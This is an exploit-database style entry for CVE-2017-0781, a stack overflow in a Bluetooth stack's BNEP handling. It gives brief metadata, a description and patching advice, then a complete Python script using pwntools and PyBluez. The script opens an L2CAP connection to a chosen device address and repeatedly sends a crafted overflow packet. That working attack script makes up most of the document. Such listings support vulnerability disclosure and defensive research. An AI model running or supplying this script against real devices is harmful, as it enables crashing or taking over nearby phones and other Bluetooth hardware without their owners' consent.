CVE-2017-0781 Bluetooth Stack Overflow Exploit

vendor:

Bluetooth Stack

by:

Unknown

8.8

CVSS

HIGH

Stack Overflow

121

CWE

Product Name: Bluetooth Stack

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2017-0781

CPE: a:bluetooth:bluetooth

Metasploit:

Other Scripts:

Platforms Tested:

2017

CVE-2017-0781 Bluetooth Stack Overflow Exploit

This exploit takes advantage of a stack overflow vulnerability in the Bluetooth stack. By sending a specially crafted BNEP packet, an attacker can cause a stack overflow and potentially execute arbitrary code on the target device. This vulnerability is identified by CVE-2017-0781.

Mitigation:

Apply the latest security patches from the vendor. Avoid connecting to untrusted Bluetooth devices.

Source

Exploit-DB raw data:

from pwn import *
import bluetooth

if not 'TARGET' in args:
    log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX')
    exit()

target = args['TARGET']

count = 30 # Amount of packets to send

port = 0xf # BT_PSM_BNEP
context.arch = 'arm'
BNEP_FRAME_CONTROL = 0x01
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01

def set_bnep_header_extension_bit(bnep_header_type):
    """
    If the extension flag is equal to 0x1 then
    one or more extension headers follows the BNEP
    header; If extension flag is equal to 0x0 then the
    BNEP payload follows the BNEP header.
    """
    return bnep_header_type | 128

def bnep_control_packet(control_type, control_packet):
    return p8(control_type) + control_packet

def packet(overflow):
    pkt = ''
    pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL))
    pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow)
    return pkt

bad_packet = packet('AAAABBBB')

log.info('Connecting...')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, 1500)
sock.connect((target, port))

log.info('Sending BNEP packets...')
for i in range(count):
    sock.send(bad_packet)

log.success('Done.')
sock.close()